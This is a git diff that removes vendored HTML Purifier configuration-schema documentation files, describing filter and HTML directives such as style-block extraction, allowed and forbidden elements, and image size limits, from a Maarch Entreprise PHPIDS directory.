3b7018917e78beef1f640a914daa66cc24ea9784..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt +++ /dev/null @@ -1,16 +0,0 @@ -Filter.ExtractStyleBlocks.TidyImpl -TYPE: mixed/null -VERSION: 3.1.0 -DEFAULT: NULL -ALIASES: FilterParam.ExtractStyleBlocksTidyImpl ---DESCRIPTION-- -<p> - If left NULL, HTML Purifier will attempt to instantiate a <code>csstidy</code> - class to use for internal cleaning. This will usually be good enough. -</p> -<p> - However, for trusted user input, you can set this to <code>false</code> to - disable cleaning. In addition, you can supply your own concrete implementation - of Tidy's interface to use, although I don't know why you'd want to do that. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt deleted file mode 100755 index be0177d4e02d31592dcd070465e81581600139c3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt +++ /dev/null @@ -1,74 +0,0 @@ -Filter.ExtractStyleBlocks -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false -EXTERNAL: CSSTidy ---DESCRIPTION-- -<p> - This directive turns on the style block extraction filter, which removes - <code>style</code> blocks from input HTML, cleans them up with CSSTidy, - and places them in the <code>StyleBlocks</code> context variable, for further - use by you, usually to be placed in an external stylesheet, or a - <code>style</code> block in the <code>head</code> of your document. -</p> -<p> - Sample usage: -</p> -<pre><![CDATA[ -<?php - header('Content-type: text/html; charset=utf-8'); - echo '<?xml version="1.0" encoding="UTF-8"?>'; -?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> -<head> - <title>Filter.ExtractStyleBlocks</title> -<?php - require_once '/path/to/library/HTMLPurifier.auto.php'; - require_once '/path/to/csstidy.class.php'; - - $dirty = '<style>body {color:#F00;}</style> Some text'; - - $config = HTMLPurifier_Config::createDefault(); - $config->set('Filter', 'ExtractStyleBlocks', true); - $purifier = new HTMLPurifier($config); - - $html = $purifier->purify($dirty); - - // This implementation writes the stylesheets to the styles/ directory. - // You can also echo the styles inside the document, but it's a bit - // more difficult to make sure they get interpreted properly by - // browsers; try the usual CSS armoring techniques. - $styles = $purifier->context->get('StyleBlocks'); - $dir = 'styles/'; - if (!is_dir($dir)) mkdir($dir); - $hash = sha1($_GET['html']); - foreach ($styles as $i => $style) { - file_put_contents($name = $dir . $hash . "_$i"); - echo '<link rel="stylesheet" type="text/css" href="'.$name.'" />'; - } -?> -</head> -<body> - <div> - <?php echo $html; ?> - </div> -</b]]><![CDATA[ody> -</html> -]]></pre> -<p> - <strong>Warning:</strong> It is possible for a user to mount an - imagecrash attack using this CSS. Counter-measures are difficult; - it is not simply enough to limit the range of CSS lengths (using - relative lengths with many nesting levels allows for large values - to be attained without actually specifying them in the stylesheet), - and the flexible nature of selectors makes it difficult to selectively - disable lengths on image tags (HTML Purifier, however, does disable - CSS width and height in inline styling). There are probably two effective - counter measures: an explicit width and height set to auto in all - images in your document (unlikely) or the disabling of width and - height (somewhat reasonable). Whether or not these measures should be - used is left to the reader. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt deleted file mode 100755 index 882218668565cb403c39f168fdc038e553717075..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt +++ /dev/null @@ -1,16 +0,0 @@ -Filter.YouTube -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false ---DESCRIPTION-- -<p> - <strong>Warning:</strong> Deprecated in favor of %HTML.SafeObject and - %Output.FlashCompat (turn both on to allow YouTube videos and other - Flash content). -</p> -<p> - This directive enables YouTube video embedding in HTML Purifier. Check - <a href="http://htmlpurifier.org/docs/enduser-youtube.html">this document - on embedding videos</a> for more information on what this filter does. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt deleted file mode 100755 index bfe62ffea40f6ee9101d7043d550dd228c30f0a1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt +++ /dev/null @@ -1,3 +0,0 @@ -Filter -DESCRIPTION: Directives for turning filters on and off, or specifying custom filters. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt deleted file mode 100755 index beefa5cbd5fcc7287c2c02842b15e2c09b5cd972..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt +++ /dev/null @@ -1,14 +0,0 @@ -FilterParam.ExtractStyleBlocksEscaping -TYPE: bool -VERSION: 3.0.0 -DEFAULT: true -ALIASES: Filter.ExtractStyleBlocksEscaping ---DESCRIPTION-- - -<p> - Whether or not to escape the dangerous characters <, > and & - as \3C, \3E and \26, respectively. This is can be safely set to false - if the contents of StyleBlocks will be placed in an external stylesheet, - where there is no risk of it being interpreted as HTML. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt deleted file mode 100755 index 4a7a7f445664f24ebb88cbf11da00f7574441b52..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt +++ /dev/null @@ -1,29 +0,0 @@ -FilterParam.ExtractStyleBlocksScope -TYPE: string/null -VERSION: 3.0.0 -DEFAULT: NULL -ALIASES: Filter.ExtractStyleBlocksScope ---DESCRIPTION-- - -<p> - If you would like users to be able to define external stylesheets, but - only allow them to specify CSS declarations for a specific node and - prevent them from fiddling with other elements, use this directive. - It accepts any valid CSS selector, and will prepend this to any - CSS declaration extracted from the document. For example, if this - directive is set to <code>#user-content</code> and a user uses the - selector <code>a:hover</code>, the final selector will be - <code>#user-content a:hover</code>. -</p> -<p> - The comma shorthand may be used; consider the above example, with - <code>#user-content, #user-content2</code>, the final selector will - be <code>#user-content a:hover, #user-content2 a:hover</code>. -</p> -<p> - <strong>Warning:</strong> It is possible for users to bypass this measure - using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML - Purifier, and I am working to get it fixed. Until then, HTML Purifier - performs a basic check to prevent this. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt deleted file mode 100755 index 861da54fd254a812fc45b92ce9dc131a80bba904..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt +++ /dev/null @@ -1,15 +0,0 @@ -FilterParam.ExtractStyleBlocksTidyImpl -TYPE: mixed/null -VERSION: 3.1.0 -DEFAULT: NULL ---DESCRIPTION-- -<p> - If left NULL, HTML Purifier will attempt to instantiate a <code>csstidy</code> - class to use for internal cleaning. This will usually be good enough. -</p> -<p> - However, for trusted user input, you can set this to <code>false</code> to - disable cleaning. In addition, you can supply your own concrete implementation - of Tidy's interface to use, although I don't know why you'd want to do that. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.txt deleted file mode 100755 index 53e8ef708e86061f724b35b4ec0cb4dc764d198a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.txt +++ /dev/null @@ -1,3 +0,0 @@ -FilterParam -DESCRIPTION: Configuration for filters. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt deleted file mode 100755 index afd48a0d47dd553fba246d826ad62a17a794dec0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt +++ /dev/null @@ -1,25 +0,0 @@ -HTML.Allowed -TYPE: itext/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - This is a preferred convenience directive that combines - %HTML.AllowedElements and %HTML.AllowedAttributes. - Specify elements and attributes that are allowed using: - <code>element1[attr1|attr2],element2...</code>. For example, - if you would like to only allow paragraphs and links, specify - <code>a[href],p</code>. You can specify attributes that apply - to all elements using an asterisk, e.g. <code>*[lang]</code>. - You can also use newlines instead of commas to separate elements. -</p> -<p> - <strong>Warning</strong>: - All of the constraints on the component directives are still enforced. - The syntax is a <em>subset</em> of TinyMCE's <code>valid_elements</code> - whitelist: directly copy-pasting it here will probably result in - broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes - are set, this directive has no effect. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt deleted file mode 100755 index 0e6ec54f33f0df5c26c1112f3d112832b072c605..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt +++ /dev/null @@ -1,19 +0,0 @@ -HTML.AllowedAttributes -TYPE: lookup/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - If HTML Purifier's attribute set is unsatisfactory, overload it! - The syntax is "tag.attr" or "*.attr" for the global attributes - (style, id, class, dir, lang, xml:lang). -</p> -<p> - <strong>Warning:</strong> If another directive conflicts with the - elements here, <em>that</em> directive will win and override. For - example, %HTML.EnableAttrID will take precedence over *.id in this - directive. You must set that directive to true before you can use - IDs at all. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt deleted file mode 100755 index ca3c13ddbf193dad5e56804ed31e31c4a96873e1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt +++ /dev/null @@ -1,23 +0,0 @@ -HTML.AllowedElements -TYPE: lookup/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- -<p> - If HTML Purifier's tag set is unsatisfactory for your needs, you can - overload it with your own list of tags to allow. If you change - this, you probably also want to change %HTML.AllowedAttributes; see - also %HTML.Allowed which lets you set allowed elements and - attributes at the same time. -</p> -<p> - If you attempt to allow an element that HTML Purifier does not know - about, HTML Purifier will raise an error. You will need to manually - tell HTML Purifier about this element by using the - <a href="http://htmlpurifier.org/docs/enduser-customize.html">advanced customization features.</a> -</p> -<p> - <strong>Warning:</strong> If another directive conflicts with the - elements here, <em>that</em> directive will win and override. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt deleted file mode 100755 index e373791a58a825022f0f800f11f4353a6c0cdaa1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt +++ /dev/null @@ -1,20 +0,0 @@ -HTML.AllowedModules -TYPE: lookup/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - A doctype comes with a set of usual modules to use. Without having - to mucking about with the doctypes, you can quickly activate or - disable these modules by specifying which modules you wish to allow - with this directive. This is most useful for unit testing specific - modules, although end users may find it useful for their own ends. -</p> -<p> - If you specify a module that does not exist, the manager will silently - fail to use it, so be careful! User-defined modules are not affected - by this directive. Modules defined in %HTML.CoreModules are not - affected by this directive. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt deleted file mode 100755 index 75d680ee1eb21fdb838bbc1a20a511a059e7423d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt +++ /dev/null @@ -1,11 +0,0 @@ -HTML.Attr.Name.UseCDATA -TYPE: bool -DEFAULT: false -VERSION: 4.0.0 ---DESCRIPTION-- -The W3C specification DTD defines the name attribute to be CDATA, not ID, due -to limitations of DTD. In certain documents, this relaxed behavior is desired, -whether it is to specify duplicate names, or to specify names that would be -illegal IDs (for example, names that begin with a digit.) Set this configuration -directive to true to use the relaxed parsing rules. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt deleted file mode 100755 index f32b802c6d59febc55abb0d4beb25537b1bbc4fa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt +++ /dev/null @@ -1,18 +0,0 @@ -HTML.BlockWrapper -TYPE: string -VERSION: 1.3.0 -DEFAULT: 'p' ---DESCRIPTION-- - -<p> - String name of element to wrap inline elements that are inside a block - context. This only occurs in the children of blockquote in strict mode. -</p> -<p> - Example: by default value, - <code><blockquote>Foo</blockquote></code> would become - <code><blockquote><p>Foo</p></blockquote></code>. - The <code><p></code> tags can be replaced with whatever you desire, - as long as it is a block level element. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt deleted file mode 100755 index fc8e40205870f88ee93b3f403b914def921c6ea4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt +++ /dev/null @@ -1,23 +0,0 @@ -HTML.CoreModules -TYPE: lookup -VERSION: 2.0.0 ---DEFAULT-- -array ( - 'Structure' => true, - 'Text' => true, - 'Hypertext' => true, - 'List' => true, - 'NonXMLCommonAttributes' => true, - 'XMLCommonAttributes' => true, - 'CommonAttributes' => true, -) ---DESCRIPTION-- - -<p> - Certain modularized doctypes (XHTML, namely), have certain modules - that must be included for the doctype to be an conforming document - type: put those modules here. By default, XHTML's core modules - are used. You can set this to a blank array to disable core module - protection, but this is not recommended. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt deleted file mode 100755 index a2bde5dc1122537b3454d1beb4121cf3228e55f1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt +++ /dev/null @@ -1,9 +0,0 @@ -HTML.CustomDoctype -TYPE: string/null -VERSION: 2.0.1 -DEFAULT: NULL ---DESCRIPTION-- - -A custom doctype for power-users who defined there own document -type. This directive only applies when %HTML.Doctype is blank. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt deleted file mode 100755 index f5433e3f1fb8f10e793a725a02e86bfd05c0364b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt +++ /dev/null @@ -1,33 +0,0 @@ -HTML.DefinitionID -TYPE: string/null -DEFAULT: NULL -VERSION: 2.0.0 ---DESCRIPTION-- - -<p> - Unique identifier for a custom-built HTML definition. If you edit - the raw version of the HTMLDefinition, introducing changes that the - configuration object does not reflect, you must specify this variable. - If you change your custom edits, you should change this directive, or - clear your cache. Example: -</p> -<pre> -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML', 'DefinitionID', '1'); -$def = $config->getHTMLDefinition(); -$def->addAttribute('a', 'tabindex', 'Number'); -</pre> -<p> - In the above example, the configuration is still at the defaults, but - using the advanced API, an extra attribute has been added. The - configuration object normally has no way of knowing that this change - has taken place, so it needs an extra directive: %HTML.DefinitionID. - If someone else attempts to use the default configuration, these two - pieces of code will not clobber each other in the cache, since one has - an extra directive attached to it. -</p> -<p> - You <em>must</em> specify a value to this directive to use the - advanced API features. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt deleted file mode 100755 index 0bb5a718d5f5fa1fb699c993b0069b4dfbc4cffd..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt +++ /dev/null @@ -1,16 +0,0 @@ -HTML.DefinitionRev -TYPE: int -VERSION: 2.0.0 -DEFAULT: 1 ---DESCRIPTION-- - -<p> - Revision identifier for your custom definition specified in - %HTML.DefinitionID. This serves the same purpose: uniquely identifying - your custom definition, but this one does so in a chronological - context: revision 3 is more up-to-date then revision 2. Thus, when - this gets incremented, the cache handling is smart enough to clean - up any older revisions of your definition as well as flush the - cache. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt deleted file mode 100755 index a6969b99571b377ea04101e7000c4e7ac975ccb2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt +++ /dev/null @@ -1,11 +0,0 @@ -HTML.Doctype -TYPE: string/null -DEFAULT: NULL ---DESCRIPTION-- -Doctype to use during filtering. Technically speaking this is not actually -a doctype (as it does not identify a corresponding DTD), but we are using -this name for sake of simplicity. When non-blank, this will override any -older directives like %HTML.XHTML or %HTML.Strict. ---ALLOWED-- -'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1' ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt deleted file mode 100755 index 08d641f954ac7f2fbf495b039d7f3350bd4ec172..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt +++ /dev/null @@ -1,11 +0,0 @@ -HTML.FlashAllowFullScreen -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -<p> - Whether or not to permit embedded Flash content from - %HTML.SafeObject to expand to the full screen. Corresponds to - the <code>allowFullScreen</code> parameter. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt deleted file mode 100755 index 2b8df97cbd95d9e36132bc56d9afd10ce5d14db5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt +++ /dev/null @@ -1,21 +0,0 @@ -HTML.ForbiddenAttributes -TYPE: lookup -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -<p> - While this directive is similar to %HTML.AllowedAttributes, for - forwards-compatibility with XML, this attribute has a different syntax. Instead of - <code>tag.attr</code>, use <code>tag@attr</code>. To disallow <code>href</code> - attributes in <code>a</code> tags, set this directive to - <code>a@href</code>. You can also disallow an attribute globally with - <code>attr</code> or <code>*@attr</code> (either syntax is fine; the latter - is provided for consistency with %HTML.AllowedAttributes). -</p> -<p> - <strong>Warning:</strong> This directive complements %HTML.ForbiddenElements, - accordingly, check - out that directive for a discussion of why you - should think twice before using this directive. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt deleted file mode 100755 index 40466c463d2c068aeb22235443c010b8d0b2123f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt +++ /dev/null @@ -1,20 +0,0 @@ -HTML.ForbiddenElements -TYPE: lookup -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -<p> - This was, perhaps, the most requested feature ever in HTML - Purifier. Please don't abuse it! This is the logical inverse of - %HTML.AllowedElements, and it will override that directive, or any - other directive. -</p> -<p> - If possible, %HTML.Allowed is recommended over this directive, because it - can sometimes be difficult to tell whether or not you've forbidden all of - the behavior you would like to disallow. If you forbid <code>img</code> - with the expectation of preventing images on your site, you'll be in for - a nasty surprise when people start using the <code>background-image</code> - CSS property. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt deleted file mode 100755 index 319747954810e72a5a9b94cd9d71c48bcb1c71ce..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt +++ /dev/null @@ -1,14 +0,0 @@ -HTML.MaxImgLength -TYPE: int/null -DEFAULT: 1200 -VERSION: 3.1.1 ---DESCRIPTION-- -<p> - This directive controls the maximum number of pixels in the width and - height attributes in <code>img</code> tags. This is - in place to prevent imagecrash attacks, disable with null at your own risk. - This directive is similar to %CSS.MaxImgLength, and both should be - concurrently edited, although there are - subtle differences in the input format (the HTML max is an integer). -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt deleted file mode 100755 index 7aa356353c12edcc93d74f00b966d656af2b1591..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt +++ /dev/null @@ -1,7 +0,0 @@ -HTML.Nofollow -TYPE: bool -VERSION: 4.3.0 -DEFAULT: FALSE ---DESCRIPTION-- -If enabled, nofollow rel attributes are added to all outgoing links. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt deleted file mode 100755 index 2d2fbd1175211db73caf55af8b6c1681b3977c03..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt +++ /dev/null @@ -1,12 +0,0 @@ -HTML.Parent -TYPE: string -VERSION: 1.3.0 -DEFAULT: 'div' ---DESCRIPTION-- - -<p> - String name of element that HTML fragment passed to library will be - inserted in. An interesting variation would be using span as the - parent element, meaning that only inline tags would be allowed. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt deleted file mode 100755 index b3c45e19094f6e68d31ffd0b4ec4f822055c9d17..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt +++ /dev/null @@ -1,12 +0,0 @@ -HTML.Proprietary -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false ---DESCRIPTION-- -<p> - Whether or not to allow proprietary elements and attributes in your - documents, as per <code>HTMLPurifier_HTMLModule_Proprietary</code>. - <strong>Warning:</strong> This can cause your documents to stop - validating! -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt deleted file mode 100755 index 556fa674f8310dcb7533df698a7f7017a644d4da..0000000000000000000000000000000000000000 --- 